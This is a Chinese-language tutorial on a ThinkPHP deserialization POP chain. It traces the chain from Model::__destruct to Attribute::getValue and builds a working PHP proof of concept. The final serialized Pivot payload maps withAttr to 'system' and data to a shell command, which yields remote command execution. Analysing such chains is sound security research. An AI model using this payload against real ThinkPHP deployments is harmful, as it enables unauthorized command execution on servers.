前言:thinkphp5.x的反序列化还在贴图片,md文件不能直接沾上来难受,而这个遇到个奇怪的问题,一个代码开始能运行,过段时间居然报错了,不得不说计算机挺玄学的。
1.找pop链
这里就直接讲链子的思路,至于里面的细节就先不讲了
首先我们要给它添加反序列化入口文件位置在 app\controller\Index.php
在index()方法中添加入口,至于怎么调用其他方法,我不知道有没有方法,希望有大佬可以讲讲。
ok开始讲,我们一开始要找的肯定得是__destruct(), __invoke(),这样的方法,我们都是通过它们作为一个链子的开始。
我们找到在 Model.php文件中的__destruct()方法
- 接着我们跟进 save()
- 跟进updateData()
我们可以在这个方法中跟进每一个方法去测试它是否可利用,最后发现这个ckeckAllowFields()方法可以使用
- 跟进checkAllowFields()方法
在这个地方发现有字符拼接,这里就可以利用$table或者$suffix跳到__toString()方法
- 跟进__toString()方法
这里选择的是\vendor\topthink\think-orm\src\model\concern\Conversion.php文件的__toString()方法
- 跟进toJson()方法
- 跟进toArray()
- 跟进getAttr()
这里选择的是vendor\topthink\think-orm\src\model\concern\ Attribute.php文件中的getAttr()方法,至于为什么这里我们可以跨文件调用方法,后面构造链子的时候再讲。
- 跟进getValue()方法
我们可以利用这句来构造命令
至此我们的链子就审完了,接下来会讲讲要怎么构造pop链
2.构造pop链
- Model.php
在这个文件中我们先翻到最上面。
有abstract标志的类都是抽象类,这种类是不能进行实例化的,所以我们就要找找有没有什么子类继承了它
我们找到了Pivot类继承了Model类。所以我们可以先这样写
<?php
namespace think;
abstract class Model
{
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
echo (serialize(new Pivot()));
echo "</br>";
echo base64_encode(serialize(new Pivot())); '对序列化的字符串进行base64加密是因为类里面可能有private、protected属性,而这些在序列化后会有不可见字符,通过编码的方式就是让这些字符可见。'
这时我必须先说一句,我们是有thinkphp的源码的,因此我们是可以对其源码进行添加修改的。如果我们想知道我们的构造的链子能否可用我们就可以在源码相应的地方加上一些打印函数进行测试。
就像这样在里面打印一下
我们拿这个链子产生的字符串试试。
这样就证明我们成功开始反序列化漏洞之旅了
- 跟进save()
这里如果想要继续跟进save()方法的话我们必须要通过这个判断,而这个$lazySave我们可以搜索一下
虽然这里写的是false,但是要知道在类里面的属性都是我们可以控制的,所以它的值我们可以改为true
<?php
namespace think;
abstract class Model
{
private $lazySave;
function __construct()
{
$this->lazySave = true;
}
}
只需要在构造的链子里添加即可
成功
- 跟进updateData()
选择进入这个方法,是要进行尝试来试出来的,我们可以对感觉能利用的方法进行跟进和查看,看到里面没有可利用点,就可以放弃选择其他的。
方法找到了,但我们没法直接使用,因为我们必须绕过这个判断
if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))
这个判断的第二个可以不进行操作,可以打印其结果看看它本身就判断为false,所以只有第一个条件值得关注
跟进isEmpty()方法
这么一看就知道了,只需要给$data填个值就行,不过写对它的类型和属性,这里自己尝试就行了
接下来还有
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
既然要用updateData()方法,那我们肯定要让这个判断为真,所以只需要给$exists赋个true值就行
- 跟进checkAllowFields()方法
这里没什么阻碍,可以直接调用到
- 跟进__toString()类
魔法函数方法,其实就是一个能跳到别的文件的一个跳板,因为我们不能只在这一个文件里跳来跳去的。
这里有字符串拼接,所以我们可以让他们其中一个赋个类,选择的是Coversation.php文件里的
这里要看看开头部分
这个类有trait标志,这里我就不多做解释了,总之只要知道它是不能进行实例化的就行。而使用它的方法也不是extends继承写法,而是直接用use
<?php
namespace think\model\concern;
trait Conversion
{
}
namespace think;
abstract class Model
{
use model\concern\Conversion;
private $lazySave;
private $data = [];
private $exists;
protected $table;
protected $suffix;
function __construct()
{
$this->lazySave = true;
$this->data = ["key" => "value"];
$this->exists = true;
$this->table = "";
$this->suffix = "demo";
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
echo (serialize(new Pivot()));
echo "</br>";
echo base64_encode(serialize(new Pivot()));
其实这里有些东西我也不太懂,为什么我们不给table和suffix赋类值,依然可以调用__toString()方法,而且在一开始我是可以对Conversion类进行实例化的,但之后又突然报错了,不得不说计算机真的玄学。
这部分等后面我了解了再做补充
- 跟进toJson()
- 跟进toArray()
这时可以试试我们的链子有没有跟到这里
虽然他们先打印出来了,但也是跟到了想要的地方
这里随便选择进入
- 跟进getAttr()
这里能发现在这个文件中是没有getAttr()方法的,但是也没有跳板让我们跳到其他文件里,这时就是trait标志的用法之一了,它其实就像是include()这样的函数,所以我们可以再找一个包含getAttr()方法的trait标志的类。
这里我们选择\vendor\topthink\think-orm\src\model\concern\Attribute.php文件
- 跟进getValue()
这句就是我们利用的点,我们可以通过它进行命令执行
这里就要找找他们的值要怎么赋予
$closure的值由$withAttr来赋值
$value的值由$data来赋值
所以我们把他们写为
$withAttr = ["key" => "system"];
$data = ["key" => "whoami"];
这里用的dir命令
最终构造的POC如下:
<?php
namespace think\model\concern;
trait Conversion
{
}
namespace think\model\concern;
trait Attribute
{
private $withAttr = ["key" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Conversion;
use model\concern\Attribute;
private $lazySave;
private $data = [];
private $exists;
protected $table;
protected $suffix;
function __construct()
{
$this->lazySave = true;
$this->data = ["key" => "dir"];
$this->exists = true;
$this->table = "";
$this->suffix = "demo";
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
echo (serialize(new Pivot()));
echo "</br>";
echo base64_encode(serialize(new Pivot()));